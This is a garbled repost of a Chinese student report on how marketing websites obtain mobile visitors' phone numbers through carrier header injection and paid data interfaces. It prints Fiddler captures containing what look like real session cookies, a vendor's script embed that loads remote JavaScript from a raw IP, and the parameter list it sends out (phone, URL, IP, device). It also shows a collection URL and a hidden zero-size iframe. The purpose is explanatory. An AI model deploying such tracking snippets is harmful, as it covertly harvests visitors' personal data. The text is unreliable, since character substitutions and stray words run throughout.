关于营销网站抓取移动端访客信息原理的研究报告

前一段时间“跨界”参加了学校的信息安全竞赛,没想到居然还拿了三等奖,把研究课题报告分享出来,仍是有一些值得学习的地方。(实在太忙,一些图片就不转过来了)javascript

现象:目前,信息安全备受关注。但近来许多营销网站(其中以医疗营销网站为主)可精准得到移动端访客信息(如手机号码、QQ号码等)从而进行营销。此现象代表在使用移动设备访问网站(包括不限于WAP网页)时存在信息泄漏的安全隐患,对此咱们展开研究,探究网站抓取移动端访客信息的原理。如下将阐述探究过程。php

首先,咱们经过搜索引擎搜索可提供抓取网站访客信息的相关服务提供商。在百度 中搜索关键字“获取访客手机”等关键字可查询到多个服务提供商,均使用百度竞价排名服务。如图:html

部分产品介绍如图:java

 

相关介绍相似,不做过多截图。访客信息获取服务从百元至千元/月不等。web

咱们经过尝试不一样的软件工具对访客关键信息进行抓取分析,以探究信息泄露所处的通讯环节。后端

首先,使用fiddler对数据报文进行抓取。api

(1)对PC端进行抓包浏览器

Headers内容以下:安全

GET http://www.baidu.com/?tn=98050039_dg&ch=1&ref=360 HTTP/1.1

Host: www.baidu.com

Connection: keep-alive

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 UBrowser/5.7.16400.12 Safari/537.36

Referer: http://www.baidu.com/?tn=98050039_dg&ch=1

Accept-Encoding: gzip, deflate

Accept-Language : zh-CN,zh;q=0.8

Cookie: BIDUPSID=016BE1E811953B967E8FD7844E50E63E; PSTM=1478172121; BAIDUID=AC446DF7C75C578ADEF5B2073A4B7022:FG=1; BDUSS=DFvSm92eHVwM01hVXRjRGhwemk5fnFNZWZabGd2YTFsQnd1WDhHcFlVbGJ5VUpZSVFBQUFBJCQAAAAAAAAAAAEAAACMgx4CYTE5OTYxMTA5ZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFs8G1hbPBtYa; andr=7

可抓取到地址、客户端操做系统、浏览器版本等系统信息。服务器

(2)将装有fiddler的PC与Android手机链接至同一无线路由器,并将手机代理调为PC端ip地址,经过PC端口联网,用PC端fiddler对手机进行抓包。

Headers内容以下:

GET http://m5.baidu.com/favicon.ico HTTP/1.1Host: m5.baidu.comProxy-Connection: keep-aliveAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,en-US;q=0.8Cookie: BAIDUID=B627F0F8D61A16BC166E54842394746F:FG=1; BAIDU_WISE_UID=wapp_1480052601504_789; plus_cv=1::m:d48b9a53; plus_lsv=3cda332116465cc3; H_WISE_SIDS=106472_100807_100272_102479_108373_109785_109549_106262_110629_110643_110710_107800_111123_110606_112108_110718_111967_110693_110498_110011_111549_112106_111928_109588_110655_107317_110031_111216_110085_111245; BDSVRTM=166User-Agent: Mozilla/5.0 (Linux; U; Android 6.0.1; zh-CN; M I 5 Build/MXB48T) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.2.5.884 Mobile Safari/537.36

只能抓取到手机的版本信息,没法抓取到手机号等关键信息。

(3)对阿里云Windows Sever 2008服务器进行抓包,用手机链接服务器80端口(访问网站)

没法抓取手机号等信息。

fiddler抓取访客手机号等关键信息失败,说明手机号码等关键信息的泄漏并非在应用层泄漏。推测在网络层发生。

对网络层发生信息泄漏推测途径可能有如下两种:

一个是运营商强行在http请求头里加入手机号,key名为x-up-calling-line-id,也有多是x-up-subno、network-info等,value这里返回的就是手机号码。

还有一种是运营商私自给广告平台开后端接口,这种状况下即使是请求里不带手机号,也能够获取到你的手机号,这种是目前比较常见的途径。

咱们还在网上找到能够直接获取访客手机号码的网页:

http://112.124.4.229:808/member/my.php?mid=21&status=4

经过手机加载一段他们提供的js代码后,便可获取到访问者的移动手机号码,获取率很高。

经过抓包分析能够发现:

首先,抓包要用谷歌浏览器假装成手机访问,否则抓包不到,由于网站屏蔽了pc端。

当用户访问手机网站后,会加载一段js,js请求访问IP:

http://218.206.176.104:8080/api/cc.jsp?cmsn=Mm1JeVFaZW9YUjZxVEhoVVc2WGZTUT09&q=http%3A%2F%2F121.40.123.23%2Frecv.php%3F_f%3D185659aff8c4e814a5d3537d9efb98bf_-_id%3Dwxkj_-_inx%3D0_-_ref%3Dhttp%25253A%25252F%25252Flocalhost.com%25252F1.php_-_query%3D%252526id%25253Dwxkj%252526c%25253D3_-corp%3D

获取到手机号以后,会把手机号经过base64加密返回给 js请求的参数q的值,如上面的:

http://121.40.123.23/recv.php?_f=185659aff8c4e814a5d3537d9efb98bf_-_id=wxkj_-_inx=0_-_ref=http%3A%2F%2Flocalhost.com%2F1.php_-_query=%26id%3Dwxkj%26c%3D3_-corp=bnVsbCxNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDdfMCBsaWtlIE1hYyBPUyBY%20OyBlbi11cykgQXBwbGVXZWJLaXQvNTM3LjUxLjEgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9u%20LzcuMCBNb2JpbGUvMTFBNDY1IFNhZmFyaS85NTM3LjUz

参数corp 的值就是手机信息base64位加密后的,解密后能够发现内容为:

null,Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X; en-us) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53

若是是手机访问网站的话, null 就会是你的手机号,由于实验是经过电脑访问的,因此没有手机号

(1)页面脚本

经过这个ip地址受权域名获取访问网站的手机号113.106.95.36:8081

页面添加代码:

1 <script type="text/javascript">
2 var bhid = 1;
3 var str;
4 str = '<scr' + 'ipt type="text/javascript" src="http://113.106.95.36:8081/mm.js';
5 str = str + '"></scr' + 'ipt>';
6 document.write(str);
7 </script>

bhid是客户本身设置的参数值,建议数字和英文组成,后台接口能够获取这个参数值,主要给用户本身区分脚本投放网站的类型。

(2)客户本身开发一个URL地址接口,以便我方调用客户的接口发送数据,GET方式发送,GET的参数值如下:

string Mobile //手机号码
string bhid //客户本身设置的参数值
string locationurl //当前访问的URL地址
string title //当前页面标题
string lasturl //上页面URL
string ua //机型
string ip //IP地址

以上参数获取后都须要URL解码

综上所述,WAP的访问方式是压缩访问方式,这里方式是手机先发出一个访问的请求,由运营商的WAP服务器中转站接受到你的请求后,由WAP服务器排除制定请求去访问你的网站,而后在获取数据,经由WAP中转服务区进行数据压缩后回传到你的手机上。

凡是使用WAP上网,实际上是先访问的WAP中转服务器,而不是直接访问的网站,在这个过程当中,WAP中转服务器会要求对你的手机请求进行处理和解析,这里面就包含了你的手机号码和时间轴。因此,在这个过程当中大部分访客的手机号码就能够抓取出来了。

首先无论是中转服务器仍是线路,都是由网络运营商控制的,也就是说普通企业基本没有可能获取的到。各大手机运营商都有本身的外包公司,帮忙处理数据,而这些数据和通道是能够从外包公司进行购买的。

如下列代码为例:

<iframe src=“http://112.122.35.6.xxx/?id=test&c=2” width="0" height="0" scrolling="no" frameborder="0"></iframe> 

(实例代码,已经无效)

http开头就是数据端口,抓取信息也是从这里出来的。

相关文章
相关标签/搜索